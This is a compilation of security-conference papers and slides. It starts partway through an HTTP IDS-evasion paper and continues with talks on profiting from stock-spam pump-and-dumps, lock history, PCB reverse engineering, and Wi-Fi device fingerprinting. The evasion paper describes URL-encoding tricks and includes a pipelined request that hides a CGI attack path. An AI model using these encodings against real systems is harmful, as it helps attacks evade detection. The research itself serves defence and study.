encoding. For example, to encode a capital A, the encoding would be: • %%34%31 = ‘A’ The normal hex encoding for A is %41. How double nibble hex encoding works, is that the hexadecimal nibble values are each encoded in the normal hex encoding format. So, the first nibble, 4, is encoded as %34 (the ASCII value for the numeral 4), and the second nibble, 1, is encoded as %31 (the ASCII value for the numeral 1). In the first URL decoding pass the nibble values are translated into the numerals 4 and 1. Since the 4 and 1 are preceded by a %, the second pass recognizes %41 and decodes that as a capital A. This encoding is supported by Microsoft IIS. D. First Nibble Hex Encoding First nibble hex encoding is very similar to double nibble hex encoding. The difference is that only the first nibble is 3 encoded. So a capital A, instead of being encoded %%34%31 for double nibble hex, is encoded in the following example using first nibble hex encoding: • %%341 = ‘A’ As before, during the first URL decoding pass the %34 is decoded as the numeral 4, which leaves %41 for the second pass. During the second pass, the %41 is decoded as a capital A. This encoding is supported by Microsoft IIS. E. Second Nibble Hex Encoding Second nibble hex encoding is exactly the same as first nibble hex encoding, except the second hexadecimal nibble value is encoded with normal hex encoding. So a capital A is encoded as: • %4%31 = ‘A’ The %31 gets decoded to a numeral 1 in the first decoding pass, which then the %41 gets decoded as a capital ‘A’. This encoding is supported by Microsoft IIS. F. UTF-8 Encoding 1) UTF-8 Introduction UTF-8 encoding allows values larger than a single byte (0- 255) to be represented in a byte stream. HTTP web servers use UTF-8 encoding to represent Unicode code points that are outside of the ASCII code point range (1 – 127). UTF-8 works by giving special meaning to the high-bits in a byte. A UTF-8 two and three byte UTF-8 sequence is illustrated below: 110xxxxx 10xxxxxx (two byte sequence) 1110xxxx 10xxxxxx 10xxxxxx (three byte sequence) The first byte in a UTF-8 sequence is the most important because it contains how many bytes are in the complete UTF- 8 sequence. This is determined by counting the high bits up to the first zero. In the two byte sequence example, the first byte contains two high bits set followed by a zero. So this is indeed a two-byte UTF-8 sequence. The rest of the bits after the zero in the first UTF-8 byte are bits in the final value to be computed. UTF-8 bytes following the initial byte all have the same format of setting the high bit followed by a zero. Two bits are used to identify a UTF-8 byte, and six bits are used in computing the value. To encode UTF-8 in the URL, the UTF-8 sequence is escaped with a percent for each byte. A UTF-8 encoded character is illustrated as, %C0%AF = ‘/’. 2) Unicode Code Point Introduction UTF-8 encoding is used to encode Unicode code point values. Code point values are usually contained in the range of 0 – 65535. Any code point value above 127 uses UTF-8 encoding in HTTP URLs. Unicode code point values from 0 – 127 map one to one with ASCII values. That leaves about 65408 values to represent other characters in languages like Hungarian or Japanese. Usually these languages have their own Unicode code page that represents the characters that they need. Unicode code point values are derived from Unicode code pages. Each Unicode code page can have a unique set of values, so as Unicode code pages change so do the characters that a Unicode code point represent. If the wrong code page is used to interpret Unicode code points, then the results are invalid. This is concept is very important in URL encoding as seen in the next section. 3) Bringing the Evasion Together There are three characteristics of using UTF-8 encoding to represent Unicode code points that lend themselves to confusion among IDSs. The first characteristic is that UTF-8 can encode a single code point or ASCII value in more than one way. This has been fixed in the current Unicode standard, but is still prevalent in web servers (excluding Apache). For example, a capital letter A is encoded in a two byte UTF-8 sequence as: • %C1%81 (11000001 10000001 = 1000001 = ‘A’) The capital letter A can also be encoded in a three byte UTF-8 sequence as: • %E0%81%81 ( 11100000 10000001 10000001 = 1000001 = ‘A’) So, using UTF-8 to encode ASCII characters leads to many different representations. The second characteristic is that some non-ASCII Unicode code points also map to ASCII characters. For example, the Unicode code point 12001 could map to a capital letter A. The only way to know which code points map to ASCII characters is to either read the Unicode code map or test all the different Unicode code points against a server. Currently, the only web server that is known to do this is the Microsoft IIS server. The third characteristic is related to the second characteristic. If the Unicode code map is changed or is not known, then interpreted Unicode code points are invalid. The reason this is important is because IIS web servers in China, Japan, Poland, etc. use different code pages, so if an IDS is not aware of which code page a web server is running then the URL decoding efforts of UTF-8 are invalid. If an IDS is not configurable as to what Unicode code pages to run for particular servers, then any web server that does not run the code page that the IDS has knowledge of is evadable. G. UTF-8 Bare Byte Encoding UTF-8 bare byte encoding is the same as UTF-8 encoding, except that the UTF-8 byte sequence is not escaped with a percent. The byte sequence is sent with the actual bytes. If an A was sent across, it would be: • 0xC1 0x81 = ‘A’ This type of encoding is only known to run on the Microsoft IIS server. H. Microsoft %U Encoding Microsoft %U encoding presents a different way to encode Unicode code point values up to 65535 (or two bytes). The format is simple; %U precedes 4 hexadecimal nibble values 4 that represent the Unicode code point value. The format is illustrated as: • %UXXXX For example, a capital A could be encoded as: • %U0041 = ‘A’ This is encoding is supported by Microsoft IIS. I. Mismatch Encoding Mismatch encoding uses different encoding types to represent an ASCII character and is not a unique encoding by itself. The mismatch encoding combines the various types of encoding to encode a single character. For example, let’s encode a capital A using the Microsoft %U encoding method. But since IIS will do a double decode on a URL, we can use some of the other methods to encode the %U method. For instance, we can encode the U in the %U method with a normal hex encoding. So a simple %U0041 becomes %%550041. We can then encode the 0041 in normal hex encoding, or we could pick another type of encoding. Here’s a more complex encoding mismatch that works against an IIS server, try to figure out which ASCII character this encoding represents: • %U0025%550%303%37 IV. INVALID PROTOCOL PARSING A. URL Evasion Using Request Pipelines The request pipeline evasion is a type of invalid protocol parsing evasion. It obscures the URI by using the protocol characteristics of a request pipeline in version 1.1 of the HTTP protocol. The request pipeline standard allows a web client to send several requests within a single packet. This is different and should not be confused with the HTTP keep alive header. Request pipelines send several requests all in one packet, whereas HTTP keep alive just keeps the TCP stream open for more requests. We use the request pipeline feature to embed several URLs in one packet. Most IDSs will parse the first URL correctly, but fail to parse the other URLs. This leaves an avenue for evasion, because the other URLs can now be trivially encoded and any content matches looking for malicious URLs will fail, because the IDS did not decode these other URLs. For example, the following payload uses request pipelining to evade URL detection: • GET / HTTP/1.1\r\nHost: \r\n\r\nGET /foobar.html \r\nHost: \r\n\r\nGET /cgi%2Dbin%2Fph%66 HTTP/1.1\r\nHost: r\n B. Parameter Evasion using POST and Content-Encoding Another common HTTP protocol field that contains malicious data or attacks is the URL parameter field. This is the field where most database and cgi type attacks occur, and most IDSs contain signatures to detect malicious parameter keys and values. A simple way to evade an IDS would be to encode the parameters as the URL is encoded. But most IDSs already apply URL decoding methods to the parameter field as well. What we do is use a POST request to move the parameter field to the end of the HTTP request header section. At this point, the parameter field is in plaintext and an IDS could easily pick out malicious content here. Instead, we use the header option, Content-Encoding, to encode the parameter field in base64 encoding. At this point, the parameter field has been encoded in base64 and the request is sent across the wire. Now the IDS not only needs to parse the POST request correctly, but it needs to decode the parameter field using base64 before inspecting the parameter field. If the IDS actually decoded the parameter field in a POST request with base64, the decoding effort would be very time consuming. It would also lend itself to a DOS attack by sending lots of POST requests with large parameter fields that would need to be decoded. V. CONCLUSION Two general techniques are used in HTTP IDS evasions. These techniques are invalid protocol parsing and invalid protocol field encoding. If an IDS is unaware of a type of HTTP protocol field encoding it cannot correctly decode the URL and evasions will occur. This is the type of technique that the various encoding discussed used. If an IDS does not have adequate knowledge of the HTTP protocol, it can also be evaded. The request pipeline and content encoding evasions uses this type of technique. By examining an IDS protocol decoder, most evasions can be generated with these two general techniques. APPENDIX A. URL Encoder Program A tool that illustrates these various decodings and obfuscations are available at www.idsresearch.org. Both a Windows GUI application is available, along with a command line tool for *NIX and Windows. B. Unicode Code Page Mapper A tool that dumps the Unicode code pages and code points on a Microsoft system is available at www.idsresearch.org. ACKNOWLEDGMENT RFP and Bob Graham have really pioneered application layer IDS evasions. Thanks guys. I would also like to thank the Sourcefire research team for verifying a lot of this stuff, and in particular to Matt Watchinski. I’d also like to thank Marc Norton for letting me bounce some ideas of you, and especially for encapsulating the URL encoder technology into a really nice Win32 GUI. And a big thanks to Microsoft for keeping the art of IDS evasions alive and keeping me employed by not conforming to standards. 5 REFERENCES [1] RFP. (1999, Dec. 30). “A look at whisker’s anti-IDS tactics”. [Online]. Available: http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html [2] Author Unknown. (2002, Jan. 13). “How to obscure any URL”. [Online]. Available: http://www.pc-help.org/obscure.htm [3] RFP. (2000, Oct. 17). “IIS %c1%1c remote command execution,” Win2k Security Advice Mailing List. [Online]. Available: http://archives.neohapsis.com/archives/win2ksecadvice/2000- q4/0037.html [4] E. Hacker. (2001, Jan. 3). IDS Evasion with Unicode. SecurityFocus Infocus. [Online]. Available: http://www.securityfocus.com/infocus/1232 [5] R. Graham. (2000). “SideStep: IDS evasion tool”. [Online]. Available: http://www.robertgraham.com/tmp/sidestep.html Daniel J. Roelker is a software developer and IDS researcher at Sourcefire, Inc. He was previously employed as a lead developer on the Dragon Network IDS at Enterasys, where he worked on the Dragon detection engine, application layer protocol decoders, and event correlation. He has also worked at Johns Hopkins Applied Physics Laboratory with the Department of Defense in Information Operations.
pdf
Stealing Profits from Stock Market Spammers Defcon 17 - Grant Jordan - 7/31/09 © Copyright 2008, The NASDAQ OMX Group, Inc. or: How I Learned to Stop Worrying and Love the Spam Who were we? • Grant Jordan & Kyle Vogt • MIT students with too much free time • Lots of ridiculous projects • …like safe cracking. Who are we NOT? • Stock Market Experts • Spammers • Get Rich Quick Scammers Spoiler Alert: • Everything will be seen through a soda straw. • It’s all from our point of view at the time. • We couldn’t see the forces behind anything. • Lots of guesses. Lots of hypotheticals. • Moral of the story: A lot can be determined without the underlying information. It’s all about how you look at the information that everyone already has. How it all started… October 2006 • Kyle: “There must be a way to make money off all this spam trying to sell stocks!” • Grant: “You’re an idiot.” Why Kyle must have been wrong… • Profit is derived from asymmetric information. – “I know something that you don’t!” • If everyone knows, it’s already priced-in. • But everyone gets the spam! • What do we know that others don’t? But first… What is this spam trying to do? Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 1) I own 100 shares of Worthless, Inc. @ $1 per share Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 2) I go on message boards and tell everyone the stock is about to go “THROUGH THE ROOF!!!1” Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 3) People go buy the stock Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 4) Price goes up with increased demand. I sell all my shares @ $2 (Profit!) Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 5) Surge of demand was artificial. There are no new buyers. People try to sell… but can’t! Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky 6) Stock plummets to below starting price. Anatomy of a “Pump and Dump” “Fear and Greed in the 24-hour Economy” – Richard Minsky My profits Their losses Pump & Dump • “Touting” a stock • The concept is old – Word of mouth – Boiler rooms – Forums • Spam! – Provides a much wider audience at low cost. Pump & Dump • Profits determined by when the tout sells out. • Losses for suckers determined by how late they bought in, and when they sell out again. – Late-comers get crushed! What kind of stocks are these? • “Penny Stocks” • “Over the Counter” (OTC) – Not traded on a major exchange. • (OTC/BB, Pink Sheets) – Thinly Traded: Near zero volume most days. – High Volatility: Since price is so low (often $1/share), even small changes in price can produce huge % change. • You could spam all you wanted about a NYSE stock, but your increased demand would likely be nothing against normal trading volume. IT IS VERY ILLEGAL! (and a real dick move) • All changes in supply and demand of the target stock are artificially generated. Ok, ok, but really… Who is dumb enough to buy stock because an email told them to? Result: Plenty of People • GDKI – Goldmark Industries – 10/20/06 • 60% spike Mon->Fri • Over 600k shares (possibly >$250k profit!) Actually… that was small potatoes… The Bigger Game (Two Months Later) • GDKI – 12/22/06 • 300% increase over 5 days • Over 10M shares (possibly >$30M profit!) But wait… • Not every pick is a winner. (Uh oh.) • Week 1 - Oct 20-27, 2006 – 20 stocks touted – 3 produce profits – GDKI far exceeds others The Data • What information do we have? – Stock spam. ~1,000 per week. – Market data showing result of previous week. What did other researchers see? (Hint: Very little) • Frieder and Zittrain – “Spam Works: Evidence from Stock Touts and Corresponding Market Activity” • Hanke and Hauser – “On the Effects of Stock Spam E-mails” – Both found correlation between volume of stock spam and price of touted stocks. • Numerous researchers claimed that by Fall 2006, stock spam was dead. • How could that be? We were seeing a ton! Selection Bias! • “We first automatically extracted messages that appeared to be stock touts. This was done by selecting messages that met two conditions: (1) the message contained the word “stock,” and (2) the message contained a ticker symbol-like word.” – Frieder and Zittrain • “…automatic scripts evaluate the e-mails received for all trap accounts, classify the subset of stock spam e-mails according to the target stock, and time-stamp them.” – Hanke and Hauser • All prominent stock spam studies used text-based analysis. • Before 2005, that still produced results. By 2006, nearly 100% of the successful stock spam was graphical. Q: How do you sort graphical spam? A: By hand! Sorting Spam • Sort all stock spam emails by stock symbol. • 14 weeks • >50,000 spam emails • 12,168 stock spam DATA! • What can we get out of it? – Previous results – Relative botnet power – Identify spammer’s unique signature Relative Botnet Power 1. Sort by stock symbol 2. Plot total emails over time for each symbol GDKI Spammer Signature • Each spammer has his/her bag of tricks. – Layout – Encoding – Captcha-type obfuscation – Style! • When you’re looking at every email with your own eyes, it’s easy… Game Time! • Choose the successful spammer… • Week (n), this email had great results: Week (n+1) Which stock will have similar results? Hint! GDKI SBNS SRRL EGLY CNPM MPRG Same Botnet APWL WEXE Scale Change! 900 W13 • The text-based spammers lose their minds – Spamming 15 different stocks – All text-based – No results So what? • We don’t wait to see how many emails a spammer will send out… we already know. • We pick a winner with a single email. • When the best spammers sends out his first email about a stock, we know to buy. So we buy the stock… here The Jordan/Vogt Method 1. Sort week’s worth of spam by ticker symbol. 2. Identify spammer by email style 3. Compare each spammer’s past results 4. Identify top spammer 5. When first email from top spammer arrives… buy the stock. 6. Sell out. Did it work? • Yes… • …and no. • Method worked for a few weeks, until the whole bottom fell out of stock spam. – Best spammer had a bad week (lost ~$2M) then dissapeared. – Major botnet takedowns (?) – Major SEC crackdown (“Operation Spamalot”) “Operation Spamalot” – 3/07 • SEC suspended trading on 35 stocks • Indicted two men in Texas for securities fraud. Eventual $3.8M settlement. • Operation started because an SEC attorney was getting the spam. Could it work again? • Maybe. • Spam goes in cycles… botnets come and go. A Recent Look at my Spam Folder: (April 2009) • ZERO stock spam emails! • The whole stock market meltdown thing probably didn’t help. Drugs Scam Watches Diploma Sex Book Jobs Gambling Will it happen again? • Spammers have given up on stock manipulation… for now. • If it starts again, the Jordan/Vogt method will probably work again. • Unless… But now you all know… • So what happens if all of you do it? – Increased liquidity = More spammer profit – Stocks tank faster, since you know to get out. – Maybe the only “suckers” will be the people trying to beat the spammers? • And what if I have a new meta-strategy? – Because now… “I know you know.” – Bwahaha! (?) Questions? [email protected] Other Topics I can discuss: • Could we possibly crash out the market before the spammers sell out? • Company responses to spam on their stock. • SEC Investigations of the stocks analyzed. • Characterizing types of involvement… – Spammer picking random company – Inside job
pdf
安全圈里的小锁匠 网络尖刀成员 郭晓东 GD 家庭安全的第一道-­门锁 2 门 与 锁 第一章 锁的历史 4 • 草绳与觿 • 门闩 • 三簧锁 • 叶片锁 • 套筒转心锁 • 弹子锁 锁的历史 5 • 草绳与觿 • 门闩 • 三簧锁 • 叶片锁 • 套筒转心锁 • 弹子锁 锁的历史 6 • 草绳与觿 • 门闩 • 三簧锁 • 叶片锁 • 套筒转心锁 • 弹子锁 锁的历史 7 • 草绳与觿 • 门闩 • 三簧锁 • 叶片锁 • 套筒转心锁 • 弹子锁 锁的历史 8 • 草绳与觿 • 门闩 • 三簧锁 • 叶片锁 • 套筒转心锁 • 弹子锁 锁的历史 第二章 锁的分类 10 一、A级锁,B级锁,超B级锁 二、边柱锁,传统非边柱锁 1分钟 5分钟 180分钟 内边柱,外边柱 锁的分类 第三章 锁的工作原理 12 锁的工作原理 13 锁的工作原理 14 锁的工作原理 第四章 常见锁具 16 常见锁具 17 常见锁具 18 常见锁具 19 常见锁具 20 常见锁具 单开面板 快开面板 21 常见锁具 22 常见锁具 23 常见锁具 第五章 锁具的挑选与维护 25 锁具的挑选与维护 26 锁具的挑选与维护 27 锁具的挑选与维护 28 锁具的挑选与维护 29 锁具的挑选与维护 30 锁具的挑选与维护 大部分锁都可以使用润滑油进 行维护 叶片锁一般使用铅粉进行维护 第六章 智能锁 32 黑你在你所想 不到的地方 智能锁 [email protected] @GD学物理黑 感谢聆听
pdf
Deconstructing the Circuit Board Sandwich: Effective Techniques for PCB Reverse Engineering Joe Grand (@joegrand) aka Kingpin Grand Idea Studio, Inc. PCB Reverse Engineering • The art of "undesigning" an existing system • Destructive and non-destructive methods • Why? – Determine system or subsystem functionality – Security research/verification – Forensic analysis/intelligence – Clone a design – Inject new (malicious) behavior • How? – Access to copper layers – Analyze layout rules/features – Trace component interconnections Deconstruction Techniques • Solder Mask Removal • Delayering • Imaging * Results of my DARPA CFT Research and Analysis of PCB Deconstruction Techniques project PCB Construction & Layer Stack • Layers of thin copper foil (conductive) laminated to insulating (non-conductive) layers – "Circuit board sandwich" • Form the physical carrier and electrical pathways for components Spekkoek (not a PCB) PCB cross-section (16 layer) PCB Construction & Layer Stack 2 • Silkscreen (Component Legend) – Epoxy or printable ink – Part designators, symbols/logos, manufacturing/test markings • Soldermask – Protects PCB from dust/moisture – Provides access to desired copper areas • Copper – Thickness = weight of copper/sq. ft. – Surface finish provides better solderability • Substrate – Insulating layer – Rigid and/or flex, fiberglass/epoxy weave or specialized composite PCB Construction & Layer Stack 3 • Traditional capabilities – 3 mil trace/space width – 8 mil diameter mechanically-drilled vias – Buried vias • State-of-the art capabilities – < 1 mil trace/space width – 0.4 mil diameter laser-drilled microvia – Via-in-pad D. Carey, Going Vertical & Staying Small, www.techinsights.com/uploadedfiles/3d-packaging-trends.pdf PCB Construction & Layer Stack 4 • Separate layers only tell part (if any) of the story • Placed together, a complete circuit layout can be identified • If components are also known, a full electrical design can be reversed Emic 2 Text-to-Speech Module Solder Mask Removal • Sandpaper/rubbing stone • Fiberglass scratch brush • Abrasive sand blasting • Chemical • Laser Solder Mask Removal: Sandpaper/Rubbing Stone • Effective, lowest cost method • Even strokes across the entire PCB @ light pressure • Spare PCBs of same height used on sides to help maintain planar motion • Different PCB surface finishes require different grit sizes • Excessive abrasion can cause damage to underlying copper Solder Mask Removal: Sandpaper/Rubbing Stone 2 iPhone 4 16GB w/ 400 grit sandpaper 60/80 grit rubbing stone + 220 grit sandpaper Solder Mask Removal: Fiberglass Scratch Brush • Handheld, pencil-shaped tool for material cleaning/polishing • Excelta/Eurotool 267 • Very nice result w/ only light wearing of copper • Precise control also useful for selective, small area mask removal • BOLO: Fiberglass shards can/will get stuck in your hands Solder Mask Removal: Abrasive Sand Blasting • Typically used to strip material from surfaces (paint, calcium deposits, fungus) or add texture/artificial wear • TP Tools Skat Blast 1536 Champion Blast Cabinet @ TechShop, San Francisco, CA • Best results w/ nozzle angled & held 6-8" away from PCB surface Solder Mask Removal: Abrasive Sand Blasting 2 • 60# aluminum oxide @ 80PSI (pounds/sq in), 10-15 CFM (cubic ft/min) • Noticeable pitting, but copper and substrate remained intact – Softer media (crushed walnut shells) may cause less surface wear – Risk of damage by focusing on one area of PCB for too long • Best suited for PCBs w/ trace/space >= 10/10mil & copper weight >= 1oz (1.4mil) Solder Mask Removal: Chemical • Typically used by PCB fabricators for failure analysis or to fix a manufacturing error • BOLO: Requires hazardous chemical handling and disposal procedures * Not a meth lab. Solder Mask Removal: Chemical 2 * Not a meth dealer. Solder Mask Removal: Chemical 3 • Ristoff C-8 (NWE Chem Research, UK) • Magnastrip 500 (RBP Chemical Technology, US) • Neither chemical will attack the PCB substrate/laminate • Heat chemical, soak PCB, rinse in water & brush lightly w/ soft metal brush – Processing time (~45-120 minutes) varies due to chemical temperature, solder mask composition, and solder mask thickness Solder Mask Removal: Chemical 4 Ristoff C-8 @ 90 minutes, 130°F Magnastrip 500 @ 75 minutes, 150°F Solder Mask Removal: Laser • LPKF MicroLine 600D UV Laser System @ A-Laser, Milpitas, CA • Typically used for cutting of flex circuits and coverlayer material (film, foil, adhesive) • +/-0.6 mil accuracy, 300mm/sec. (11.8"/sec.) max. travel speed, 20um (0.787mil) beam diameter • Single pass @ medium power • Copper layer remains fully intact • Different materials react differently to the laser energy – Solder mask and FR4 ablate more quickly than copper – Incorrect laser power settings or too many passes can damage underlying copper PCBDT Reference Board iPhone 4 16GB Logic Board Solder Mask Removal: Laser 2 Solder Mask Removal: Failures • Hobby knife • Electric/mechanical eraser • Dremel tool • CNC milling • Chemical – Methylene chloride – Tetrahydrofuran – Acetone • Heat – Heat gun – Butane torch Delayering • Sandpaper/rubbing stone • Dremel tool • CNC milling • Surface grinding Delayering: Sandpaper/Rubbing Stone • Effective, lowest cost method • Affix to work surface w/ double-sided tape • Full strokes across the entire PCB @ hard pressure – One layer at a time • Physical workout -> operator fatigue Delayering: Sandpaper/Rubbing Stone 2 Delayering: Sandpaper/Rubbing Stone 3 • Minor scratching of inner copper layer • Noticeable wearing along edges due to uneven sanding 60/80 grit rubbing stone + 220 grit sandpaper Delayering: Dremel Tool • Off-the-shelf home improvement tool used for cutting, grinding, drilling, routing, polishing, & sanding • Dremel MultiPro 395 w/ 503 Flapwheel (120 grit, 3/8" wide) • Back and forth across the PCB @ medium pressure Delayering: Dremel Tool 2 • Difficult to keep tool flat against the PCB – Dremel 225 flexible shaft will help move the tool's body away from the work surface • Easy to accidentally remove too much material from the target surface – More care/practice required! Delayering: CNC Milling • T-Tech QuickCircuit 5000 PCB Prototyping System – Z-axis can be manually adjusted in 10um (0.4mil) increments • Think & Tinker MN208-1250-019F 1/8” diameter carbide endmill • IsoPro 2.7 for control and manipulation of milling, drilling, and routing procedures Delayering: CNC Milling 2 • PCBDT Reference Board • Z-axis depth incrementally adjusted • Manual jog to mill away the desired area(s) • Resulting PCB has a stair-step that can be visually identified and felt with a finger – Proved that it was possible to access a specific copper layer using CNC Delayering: CNC Milling 3 • iPhone 4 16GB Logic Board • Mechanical outline of the desired PCB area created in IsoPro • Configured to rubout all material internal to that area – Allows for accurate, repeatable, and automatic positioning of the milling path • Z-axis depth adjusted in 1mil increments • When layer of copper was visible beneath the substrate, switched to manual abrasion using fiberglass scratch brush • Repeat Delayering: CNC Milling 4 Delayering: CNC Milling 5 2 3 4 5 iPhone 4 16GB Logic Board (0.92" x 0.58" area) Delayering: Surface Grinding • Typically used for material grinding & surface finishing • Consists of a rotating abrasive wheel (grinding wheel), work surface, and reciprocating or rotary table (manual or computer control) http://engineerharry.files.wordpress.com/2012/04/grinder1.png Delayering: Surface Grinding 2 • Blohm PROFIMAT CNC Creep Feed Surface Grinder w/ Siemens SINUMERIK 810G controller & Radiac 1 3/8”-wide wheel @ General Grinding, Oakland, CA – Depth control in 0.1mil increments • Target PCB mounted to steel block (held in place by magnetic chuck) Delayering: Surface Grinding 3 Delayering: Surface Grinding 4 3 2 5 4 Delayering: Failures • Heat – Heat gun – Hot knife • Laser – UV/CO2 Imaging • X-ray (2D) • Computerized Tomography (3D) Imaging: X-Ray (2D) • Typically used during PCB assembly (component placement/ solder quality) or failure analysis (troubleshooting defective features) • X-rays passed through target and received on detector – All materials absorb radiation differently depending on density, atomic number, and thickness • Provides a composite image of all layers in target http://datest.com/resources-boardtestmeth-primer2d3d.php • Nordson DAGE XD7500VR X-ray Inspection System @ Sonic Manufacturing, Fremont, CA Imaging: X-Ray (2D) 2 • Can get clues about PCB construction/layout, component location, layer count, hidden/embedded features • VeriFone PINpad 1000SE active security envelope Imaging: X-Ray (2D) 3 • For simple boards, can visually follow traces/interconnections – Composite image makes it difficult to determine on which layer a particular trace is located – Manipulating the X-ray angle and field-of-view in real time will help 20-pin uBGA (CSP3) iPhone 4 16GB Assembled Imaging: X-Ray (2D) 4 Imaging: X-Ray (2D) 5 Emic 2 Text-to-Speech Module Imaging: X-Ray (3D/CT) • Computed Tomography (CT) – A series of 2D X-ray images post-processed to create cross-sectional slices of the target – X-ray beam rotated 360° in a single axis around the target • Typically used for complex inspection and failure analysis of PCBs, component packaging, solder ball/joint quality • Acquisition – Capture a series of 2D X-ray images (60-720 depending on desired resolution) • Reconstruction – Post-processing results in 2D slices that can be viewed in any plane (X, Y, Z) – Can be manipulated with 3D modeling software http://datest.com/resources-brochures.php • Nordson DAGE XD7600NT Ruby X-ray Inspection System w/ X-Plane option @ Datest, Fremont, CA Imaging: X-Ray (3D/CT) 2 • Emic 2 Text-to-Speech Module • 360 2D images taken at a 50° inclination angle – One image every 6 seconds • Imported into VGStudio 2.1 for 3D model manipulation • Manually moved through Z plane (top to bottom) to identify each layer – Could also measure substrate thickness between layers – Limited field-of-view will require multiple "segments" to be stitched together if working on a full PCB • Results may vary based on layer count, inter-layer thickness, copper weight, substrate composition Imaging: X-Ray (3D/CT) 3 Imaging: X-Ray (3D/CT) 4 Imaging: X-Ray (3D/CT) 5 Emic 2 Text-to-Speech Module (5/8" x 7/8" area) Imaging: Failures • Acoustic Microscopy Characterization Matrix Next Steps • Test additional delayering techniques – Methyl Ethyl Ketone, drum sander • Development of software toolkit (in progress) – Automated/assisted creation of schematic based on PCB layer images – Computer vision/image processing routines – Open source, cross platform (Python + OpenCV) – Ala degate or rompar, but for PCBs * All documentation, videos, and research available at www.grandideastudio.com/pcbdt/ The End.
pdf
I Know What You Are By the Smell of Your Wi-Fi Denton Gentry @dgentry [email protected] We’re here today to talk about a mechanism which identifies the type of device connecting to a Wi-Fi network. It can be quite specific: it can tell the difference between an iPhone 5 and an iPhone 5s, between a Samsung Galaxy S7 and an S8, between a Withings scale and a Nest Thermostat. Classically, this kind of client detection would be called “fingerprinting” like the OS fingerprinting mechanisms in nmap. However, in modern usage the term “fingerprinting” has evolved to mean identification of specific users, such as browser fingerprinting to identify a specific individual. As the mechanism discussed here identifies the species of the device, not the unique individual, we refer to it as Wi-Fi Taxonomy. 0:50 Try It! 1% 10% Poll: Wi-Fi at DEFCON for a demo 89% bad idea. worst idea. what could go wrong? SSID: SmellOfWifiTalk You can try it! Joining SmellOfWifiTalk will print the system’s estimation of what your device is, for however long a rogue Wi-Fi network lasts at DEFCON. It will be printed in that terminal window up on the screen. 0:30 MAC Sublayer Management Entity (MLME) Probe Request: Asks nearby APs to respond. Association Request: join the Wi-Fi network Probe Request Association Request Probe Response Association Response Try It! SSID: SmellOfWifiTalk The mechanism works by examining Wi-Fi Management frames, called MLME frames. These frames are used to join, leave, and configure the Wi-Fi network. They are not TCP/IP packets, they are not routable and they do not leave the Wi-Fi network. We’ll focus on two specific frames: 1. Probe Request, where a client can ask all nearby APs or one specific AP to respond. The client includes information about itself and its capabilities in the request, and the AP can respond with its own capabilities in the response. 2. We’ll also look at the Association Request, when a client joins a Wi-Fi network. The client includes many of the same capabilities as in the Probe Request, plus a few more. There are a bunch of other types of frames, like the Authentication frame or Action frames to adjust various parameters, but the Taxonomy mechanism we’re talking about today relies on these two. 0:50 Signature: Information Elements Tag #0 Tag #1 Tag #33 Tag #36 Tag #48 Tag #70 Tag #45 Tag #191 Tag #221, Vendor OUI 00:17:f2, #10 Tag #221, Vendor OUI 00:10:18, #2 Tag #221, Vendor OUI 00:50:f2, #2 0,1,33,36,48,70,45,191, 221(0017f2,10),221(0010 18,2),221(0050f2,2) Try It! SSID: SmellOfWifiTalk Information Elements are Type-Length-Value tuples packed one after the other in the management frame. They are all optional, though in practice a few are universal because Wi-Fi can’t really work without them. Each Wi-Fi standard has added more Information Elements. In 802.11b days there were very few. 802.11g added a few, 802.11n and ac added a bunch more, and so on. In addition to the standard elements, there is a mechanism for vendors to define their own. Vendor extensions are type 221 with an identifier for the vendor called the Organizationally Unique Identifier or OUI, and finally by a subtype so the vendor can define multiple extensions. Because the Length provides enough information to skip over the IE, any Wi-Fi device can interoperate whether it understands the vendor extensions or not. It can skip over those it doesn’t implement. This is the Association Request from an iPhone 7+, as broken out by Wireshark. The Association Request includes the SSID the client wants to join, information about its supported rates and channels, about its power levels and radio management capabilities, plus three vendor extensions from Microsoft, Broadcom, and Apple. A few of the vendor extensions are extremely widespread. The Microsoft extension shown above is for prioritization, and it’s widely present even on devices not running any kind of Windows OS. The Broadcom vendor extension is also very widespread, owing to how common Broadcom chipsets are. The Apple extension shown here was added in iOS 10.2 on all iOS devices. The signature lists the tag numbers of the IEs present in the frame, in the order they appear, as a text string of decimal numbers. For vendor extensions it additionally includes the OUI of the vendor and the subtype. For this first part of the signature, we end up with the text string shown in red. This part of the signature is most strongly influenced by the OS of the client device, where the client Wi-Fi stack is implemented. It is next most strongly influenced by the Wi-Fi chipset, both in terms of the standards it supports and for any vendor extensions implemented by that vendor in their driver. 2:10 Signature: Capability bitmasks Transmit power HT Capabilities bitmask (802.11n) VHT Capabilities bitmask (802.11ac) Try It! SSID: SmellOfWifiTalk 0,1,33,36,48,70,45,191,221 (0017f2,10),221(001018,2), 221(0050f2,2),txpow:13f9, htcap:006f,vhtcap:0f811032 In addition to the tag numbers, a few of the Information Elements contain capability bitmasks or other information which is useful in identifying the device. For example: ● 802.11n defines 16 bits of optional capabilities, 802.11ac defines another 32 bits. This is most strongly influenced by the chipset, and the subset of the standard implemented by the ASIC. ● The TX Power IE depends strongly on the board design, in how the antennas are laid out. Two devices built by the same manufacturer, using the same software and the same Wi-Fi chipset will often have different TX Power values. ● The number of antennas is encoded in the dot11n and ac capabilities, and is also indicative of a board design. ● There is an Extended Capabilities bitmask containing even more optional elements. It is most strongly influenced by the driver and WPA supplicant software. A number of the capability bitmasks are appended to the signature to further differentiate it, as shown in red here. 1:00 Distinctiveness Over Time iPhone, 2007 0,1,48,50 iPhone 4s, 2011 0,1,48,50,45,221(001018,2),221(00904c,51),221(0050f2,2), htcap:0100,htagg:19,htmcs:000000ff iPhone 7, 2016 0,1,33,36,48,70,54,45,127,191,199,221(0017f2,10),221(001 018,2),221(0050f2,2),htcap:006f,htagg:17,htmcs:0000ffff, vhtcap:0f811032,vhtrxmcs:0000fffa,vhttxmcs:0000fffa,txpo w:13f9,extcap:000008 Try It! SSID: SmellOfWifiTalk Looking at the signature as we’ve discussed it so far, it has become more distinctive over time. This shows the Associate 